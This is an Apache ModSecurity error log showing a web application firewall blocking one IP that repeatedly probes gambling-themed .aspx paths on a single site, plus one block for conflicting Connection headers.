[Wed Mar 25 22:53:51.659578 2026] [:error] [pid 25875:tid 25905] [client 145.239.69.153:43056] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "acP2_xJ38QkS3NyfshxPsAAAApg"]
[Wed Mar 25 22:53:54.207963 2026] [:error] [pid 25967:tid 25992] [client 145.239.69.153:43072] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "acP3Avg8Qtq7ZM4mSFmNqAAAA1Q"]
[Wed Mar 25 22:53:56.752959 2026] [:error] [pid 892:tid 917] [client 145.239.69.153:43080] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "acP3BCT_G8WMU3T3yxrm_gAAANI"]
[Wed Mar 25 22:53:59.210133 2026] [:error] [pid 26321:tid 26350] [client 145.239.69.153:43088] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "acP3B_KO65qqGZCSPZprXAAAAgk"]
[Wed Mar 25 22:54:01.624159 2026] [:error] [pid 26321:tid 26357] [client 145.239.69.153:40950] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "acP3CfKO65qqGZCSPZprXgAAAhA"]
[Wed Mar 25 22:54:04.118634 2026] [:error] [pid 25875:tid 25888] [client 145.239.69.153:40966] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "acP3DBJ38QkS3NyfshxP0AAAAoc"]
[Wed Mar 25 22:54:06.569246 2026] [:error] [pid 25875:tid 25881] [client 145.239.69.153:40974] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "acP3DhJ38QkS3NyfshxP2gAAAoA"]
[Wed Mar 25 22:54:09.125045 2026] [:error] [pid 47989:tid 48010] [client 145.239.69.153:40988] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "acP3ESWKdJMhIccROjkTQwAAAVM"]
[Wed Mar 25 22:54:11.574309 2026] [:error] [pid 47989:tid 48011] [client 145.239.69.153:41990] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "acP3EyWKdJMhIccROjkTSwAAAVQ"]
[Wed Mar 25 22:54:14.116562 2026] [:error] [pid 25875:tid 25889] [client 145.239.69.153:41992] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "acP3FhJ38QkS3NyfshxP7QAAAog"]
[Wed Mar 25 22:54:16.638549 2026] [:error] [pid 25875:tid 25892] [client 145.239.69.153:42002] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "acP3GBJ38QkS3NyfshxP-gAAAos"]
[Wed Mar 25 22:54:19.227651 2026] [:error] [pid 26321:tid 26346] [client 145.239.69.153:42016] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "acP3G_KO65qqGZCSPZprZgAAAgY"]
[Wed Mar 25 22:54:21.706613 2026] [:error] [pid 25875:tid 25900] [client 145.239.69.153:43246] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "acP3HRJ38QkS3NyfshxQBwAAApM"]
[Wed Mar 25 22:54:24.125906 2026] [:error] [pid 47989:tid 48012] [client 145.239.69.153:43248] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "acP3ICWKdJMhIccROjkTUgAAAVU"]
[Wed Mar 25 22:54:26.623389 2026] [:error] [pid 25969:tid 26040] [client 145.239.69.153:43264] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "acP3Ihd3aEUmOfdKja8ZqwAAA84"]
[Wed Mar 25 22:54:29.121009 2026] [:error] [pid 25875:tid 25884] [client 145.239.69.153:43280] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "acP3JRJ38QkS3NyfshxQEAAAAoM"]
[Wed Mar 25 22:54:31.630092 2026] [:error] [pid 892:tid 899] [client 145.239.69.153:56298] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "acP3JyT_G8WMU3T3yxrnBAAAAMM"]
[Wed Mar 25 22:54:52.759086 2026] [:error] [pid 25967:tid 25978] [client 145.239.69.153:56312] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "acP3PPg8Qtq7ZM4mSFmN3wAAA0Y"]
[Wed Mar 25 22:54:55.112154 2026] [:error] [pid 26449:tid 26461] [client 145.239.69.153:35192] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "acP3P9pZ2T15NDqzAjGVWAAAAkg"]
[Wed Mar 25 22:54:57.669935 2026] [:error] [pid 26269:tid 26285] [client 145.239.69.153:35204] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "acP3QUn7e-ZQbaIs7qzIDQAAAYk"]
[Wed Mar 25 22:55:00.257461 2026] [:error] [pid 25967:tid 25980] [client 145.239.69.153:35216] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "acP3RPg8Qtq7ZM4mSFmN8AAAA0g"]
[Wed Mar 25 22:55:02.821983 2026] [:error] [pid 25967:tid 25975] [client 145.239.69.153:57104] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "acP3Rvg8Qtq7ZM4mSFmN9QAAA0M"]
[Wed Mar 25 22:55:05.198865 2026] [:error] [pid 25875:tid 25883] [client 145.239.69.153:57112] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "acP3SRJ38QkS3NyfshxQRgAAAoI"]
[Wed Mar 25 22:55:07.600627 2026] [:error] [pid 25967:tid 25996] [client 145.239.69.153:57128] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "acP3S_g8Qtq7ZM4mSFmOAAAAA1g"]
[Wed Mar 25 22:55:09.984171 2026] [:error] [pid 892:tid 905] [client 145.239.69.153:57140] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "acP3TST_G8WMU3T3yxrnCwAAAMc"]
[Wed Mar 25 22:55:12.477863 2026] [:error] [pid 25967:tid 25985] [client 145.239.69.153:33836] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "acP3UPg8Qtq7ZM4mSFmOCQAAA00"]
[Wed Mar 25 22:55:14.925342 2026] [:error] [pid 25875:tid 25904] [client 145.239.69.153:33842] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "acP3UhJ38QkS3NyfshxQXgAAApc"]
[Wed Mar 25 22:55:17.562718 2026] [:error] [pid 47989:tid 48008] [client 145.239.69.153:33844] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "acP3VSWKdJMhIccROjkTlQAAAVE"]
[Wed Mar 25 22:55:20.209191 2026] [:error] [pid 26321:tid 26350] [client 145.239.69.153:33848] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "acP3WPKO65qqGZCSPZprkgAAAgk"]
[Wed Mar 25 22:55:22.677282 2026] [:error] [pid 25875:tid 25900] [client 145.239.69.153:45830] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "acP3WhJ38QkS3NyfshxQbQAAApM"]
[Wed Mar 25 22:55:25.241451 2026] [:error] [pid 25967:tid 25996] [client 145.239.69.153:45842] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "acP3Xfg8Qtq7ZM4mSFmOIQAAA1g"]
[Wed Mar 25 22:55:27.700175 2026] [:error] [pid 47989:tid 48000] [client 145.239.69.153:45844] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "acP3XyWKdJMhIccROjkTngAAAUk"]
[Wed Mar 25 22:55:30.129668 2026] [:error] [pid 26321:tid 26342] [client 145.239.69.153:45858] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "acP3YvKO65qqGZCSPZprmwAAAgM"]
[Wed Mar 25 22:55:32.549672 2026] [:error] [pid 25875:tid 25885] [client 145.239.69.153:54248] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "acP3ZBJ38QkS3NyfshxQgQAAAoQ"]
[Wed Mar 25 22:55:35.007178 2026] [:error] [pid 25875:tid 25887] [client 145.239.69.153:54264] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "acP3ZxJ38QkS3NyfshxQjAAAAoY"]
[Wed Mar 25 22:55:37.446374 2026] [:error] [pid 47989:tid 48015] [client 145.239.69.153:54268] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "acP3aSWKdJMhIccROjkTogAAAVg"]
[Wed Mar 25 22:55:39.914923 2026] [:error] [pid 25875:tid 25890] [client 145.239.69.153:54270] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "acP3axJ38QkS3NyfshxQnAAAAok"]
[Wed Mar 25 22:55:42.286284 2026] [:error] [pid 892:tid 896] [client 145.239.69.153:44412] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20slot.aspx"] [unique_id "acP3biT_G8WMU3T3yxrnEQAAAMI"]
[Wed Mar 25 22:55:44.729395 2026] [:error] [pid 26269:tid 26279] [client 145.239.69.153:44426] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "acP3cEn7e-ZQbaIs7qzIFwAAAYM"]
[Wed Mar 25 22:55:47.095803 2026] [:error] [pid 47989:tid 47992] [client 145.239.69.153:44432] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "acP3cyWKdJMhIccROjkTrQAAAUE"]
[Wed Mar 25 22:55:49.602150 2026] [:error] [pid 25969:tid 26028] [client 145.239.69.153:44444] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "acP3dRd3aEUmOfdKja8ZwQAAA8I"]
[Wed Mar 25 22:56:10.484062 2026] [:error] [pid 47989:tid 47995] [client 145.239.69.153:57918] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "acP3iiWKdJMhIccROjkT1AAAAUQ"]
[Wed Mar 25 22:56:12.963949 2026] [:error] [pid 26321:tid 26364] [client 145.239.69.153:34432] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "acP3jPKO65qqGZCSPZprqAAAAhc"]
[Wed Mar 25 22:56:15.425388 2026] [:error] [pid 25875:tid 25899] [client 145.239.69.153:34444] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "acP3jxJ38QkS3NyfshxQsgAAApI"]
[Wed Mar 25 22:56:17.803002 2026] [:error] [pid 26321:tid 26356] [client 145.239.69.153:34448] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "acP3kfKO65qqGZCSPZprrgAAAg8"]
[Wed Mar 25 22:56:20.108068 2026] [:error] [pid 47989:tid 48001] [client 145.239.69.153:34450] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "acP3lCWKdJMhIccROjkT1wAAAUo"]
[Wed Mar 25 22:56:22.667495 2026] [:error] [pid 25875:tid 25903] [client 145.239.69.153:36186] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "acP3lhJ38QkS3NyfshxQwgAAApY"]
[Wed Mar 25 22:56:25.129811 2026] [:error] [pid 26321:tid 26351] [client 145.239.69.153:36196] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "acP3mfKO65qqGZCSPZprugAAAgo"]
[Wed Mar 25 22:56:27.653769 2026] [:error] [pid 25969:tid 26030] [client 145.239.69.153:36208] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "acP3mxd3aEUmOfdKja8Z2QAAA8Q"]
[Wed Mar 25 22:56:30.190982 2026] [:error] [pid 26321:tid 26361] [client 145.239.69.153:36212] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "acP3nvKO65qqGZCSPZprzAAAAhQ"]
[Wed Mar 25 22:56:32.534934 2026] [:error] [pid 25967:tid 25976] [client 145.239.69.153:59290] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "acP3oPg8Qtq7ZM4mSFmOZgAAA0Q"]
[Wed Mar 25 22:56:34.918360 2026] [:error] [pid 25875:tid 25890] [client 145.239.69.153:59296] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "acP3ohJ38QkS3NyfshxQ5wAAAok"]
[Wed Mar 25 22:56:37.238094 2026] [:error] [pid 25967:tid 25987] [client 145.239.69.153:59302] [client 145.239.69.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "acP3pfg8Qtq7ZM4mSFmOcwAAA08"]
[Wed Mar 25 22:58:48.989286 2026] [:error] [pid 26269:tid 26287] [client 182.42.105.85:59563] [client 182.42.105.85] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "acP4KEn7e-ZQbaIs7qzIQAAAAYs"]
